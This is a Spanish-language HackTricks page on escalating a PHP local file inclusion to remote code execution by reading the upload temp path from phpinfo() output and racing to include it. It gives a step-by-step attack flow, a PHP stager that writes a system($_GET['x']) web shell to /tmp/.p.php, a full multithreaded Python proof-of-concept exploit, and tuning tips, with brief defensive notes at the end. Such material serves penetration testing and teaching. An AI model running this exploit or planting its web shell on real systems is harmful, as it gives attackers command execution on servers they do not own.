LFI to RCE via PHPInfo
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Para explotar esta técnica necesitas todo lo siguiente:
- Una página accesible que muestre la salida de phpinfo().
- Una Local File Inclusion (LFI) primitiva que controles (p. ej., include/require en la entrada del usuario).
- PHP file uploads enabled (file_uploads = On). Cualquier script PHP aceptará multipart uploads RFC1867 y creará un archivo temporal por cada parte subida.
- El worker de PHP debe poder escribir en el upload_tmp_dir configurado (o en el directorio temporal del sistema por defecto) y tu LFI debe poder incluir esa ruta.
Análisis clásico y PoC original:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notas sobre el PoC original
- La salida de phpinfo() está HTML-encoded, por lo que la flecha “=>” aparece a menudo como “=>”. Si reutilizas scripts legacy, asegúrate de que busquen ambas codificaciones al parsear el valor _FILES[tmp_name].
- Debes adaptar el payload (tu código PHP), REQ1 (la petición al endpoint phpinfo() incluyendo padding) y LFIREQ (la petición a tu sink LFI). Algunos objetivos no necesitan un null-byte (%00) terminator y las versiones modernas de PHP no lo respetarán. Ajusta el LFIREQ en consecuencia para el sink vulnerable.
Ejemplo de sed (solo si realmente usas el viejo Python2 PoC) para coincidir con la flecha HTML-encoded:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teoría
- Cuando PHP recibe un POST
multipart/form-datacon un campo de archivo, escribe el contenido en un archivo temporal (upload_tmp_diro el valor por defecto del SO) y expone la ruta en$_FILES['<field>']['tmp_name']. El archivo se elimina automáticamente al final de la solicitud a menos que se mueva/renombre. - La técnica consiste en averiguar el nombre temporal e incluirlo vía tu LFI antes de que PHP lo limpie.
phpinfo()imprime$_FILES, incluyendotmp_name. - Inflando los headers/parameters de la solicitud (padding) puedes provocar que fragmentos tempranos de la salida de
phpinfo()se envíen al cliente antes de que la solicitud termine, de modo que puedas leertmp_namemientras el archivo temporal aún existe y luego llamar inmediatamente al LFI con esa ruta.
En Windows los archivos temporales suelen estar en algo como C:\Windows\Temp\php*.tmp. En Linux/Unix normalmente están en /tmp o en el directorio configurado en upload_tmp_dir.
Qué verificar en phpinfo() antes de la carrera
Antes de enviar miles de solicitudes, extrae los valores que determinan si la carrera es realista:
file_uploads: debe estarOn.upload_tmp_dir: si está definido, este es el directorio que tu LFI debe poder incluir. Si está vacío, espera el directorio temporal por defecto del sistema.open_basedir: si está habilitado, la ruta vulnerable de include aún necesita poder alcanzar el directorio temporal mostrado entmp_name.output_buffering:4096es un tamaño común/por defecto y es por eso que muchos PoCs leen en fragmentos de 4KB, pero este valor puede variar.zlib.output_compression,output_handler, y cualquier buffering a nivel de framework: reducen la probabilidad de vertmp_namelo suficientemente pronto.Server API: útil para decidir cuánto almacenamiento en búfer puede existir entre PHP y tú (apache2handlersuele ser más fácil de razonar quefpm-fcgidetrás de un reverse proxy).
Si la página no muestra $_FILES, asegúrate de que realmente estás enviando una solicitud multipart/form-data con una parte de archivo real. PHP solo popula tmp_name para los campos de subida que fueron parseados.
Flujo de ataque (paso a paso)
- Prepara una payload PHP pequeña que persista una shell rápidamente para evitar perder la carrera (escribir un archivo suele ser más rápido que esperar un reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Envía un POST multipart grande directamente a la página phpinfo() para que se cree un archivo temporal que contenga tu payload. Infla varios headers/cookies/params con ~5–10KB de padding para fomentar una salida temprana. Asegúrate de que el nombre del campo del formulario coincida con lo que vas a parsear en $_FILES.
-
Mientras la respuesta de phpinfo() aún se está transmitiendo, parsea el cuerpo parcial para extraer $_FILES[‘
’][‘tmp_name’] (codificado en HTML). En cuanto tengas la ruta absoluta completa (p. ej., /tmp/php3Fz9aB), lanza tu LFI para incluir esa ruta. Si include() ejecuta el archivo temporal antes de que se borre, tu payload se ejecuta y deja /tmp/.p.php. -
Usa el archivo dejado: GET /vuln.php?include=/tmp/.p.php&x=id (o donde sea que tu LFI te permita incluirlo) para ejecutar comandos de forma fiable.
Consejos
- Usa múltiples workers concurrentes para aumentar tus probabilidades de ganar la carrera.
- Colocación del padding que suele ayudar: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajusta según el objetivo.
- Si el vulnerable sink añade una extensión (p. ej., .php), no necesitas un null byte; include() ejecutará PHP independientemente de la extensión del archivo temporal.
Minimal Python 3 PoC (socket-based)
El fragmento a continuación se centra en las partes críticas y es más fácil de adaptar que el script legacy en Python2. Personaliza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Troubleshooting
- You never see
tmp_name: Asegúrate de realmente hacerPOST multipart/form-dataaphpinfo().phpinfo()imprime$_FILESsolo cuando estuvo presente un campo de upload. tmp_nameaparece solo al final de la respuesta: Esto suele ser un problema de buffering, no de versión de PHP. Valores grandes deoutput_buffering,zlib.output_compression, manejadores de salida en userland, o buffering en reverse-proxy/FastCGI pueden retrasar el body dephpinfo()hasta que la petición de upload esté casi terminada.- Solo obtienes streaming fiable en un laboratorio, no a través del sitio real: Un CDN, WAF o reverse proxy puede estar haciendo buffering de la respuesta upstream. Si tienes múltiples rutas al mismo app, prefiere la ruta de origen más directa.
- La lógica clásica del offset de 4096 bytes falla en detectar el leak: Trata 4096 como un punto de partida derivado de valores por defecto comunes de
output_buffering, no como una constante universal. Parse incrementalmente y detente en cuantotmp_nameesté completo. - El temp file se incluye pero tu shell muere inmediatamente: Usa un stager pequeño que escriba un segundo archivo, porque el temp file subido seguirá siendo eliminado cuando la petición original termine.
- La salida no se vacía temprano: Aumenta padding, añade más headers grandes, o envía múltiples peticiones concurrentes. Algunos SAPIs/buffers no vaciarán hasta umbrales mayores; ajusta en consecuencia.
- Ruta LFI bloqueada por
open_basedirochroot: Debes apuntar el LFI a una ruta permitida o cambiar a otro vector LFI2RCE. - El directorio temporal no es
/tmp:phpinfo()imprime la ruta absoluta completa detmp_name; usa esa ruta exacta en el LFI.
Practical notes for modern stacks
- Esta técnica sigue siendo reproducible en entornos de laboratorio modernos; por ejemplo, Vulhub mantiene un demostrador en PHP 7.2. En la práctica, el éxito suele depender más del output buffering y del proxying que de un parche específico de
phpinfo(). flush()yimplicit_flushsolo influyen en la capa de salida propia de PHP. No garantizan que un gateway FastCGI, reverse proxy, navegador o intermediario libere chunks parciales inmediatamente.- Si el objetivo es
fpm-fcgidetrás de proxying Nginx/Apache, piensa por capas: buffer de PHP, manejadores/compresión de salida de PHP, buffering de FastCGI, luego buffering del proxy. La carrera solo funciona si suficiente parte de la respuesta dephpinfo()escapa esa cadena antes de que el shutdown de la request elimine el temp file.
Defensive notes
- Nunca expongas
phpinfo()en producción. Si es necesario, restríngelo por IP/auth y elimínalo después de usarlo. - Mantén
file_uploadsdeshabilitado si no es requerido. Si no, restringeupload_tmp_dira una ruta no alcanzable porinclude()en la aplicación y aplica validación estricta sobre cualquier ruta deinclude/require. - Trata cualquier LFI como crítico; incluso sin
phpinfo(), existen otros caminos LFI→RCE.
Related HackTricks techniques
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
References
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


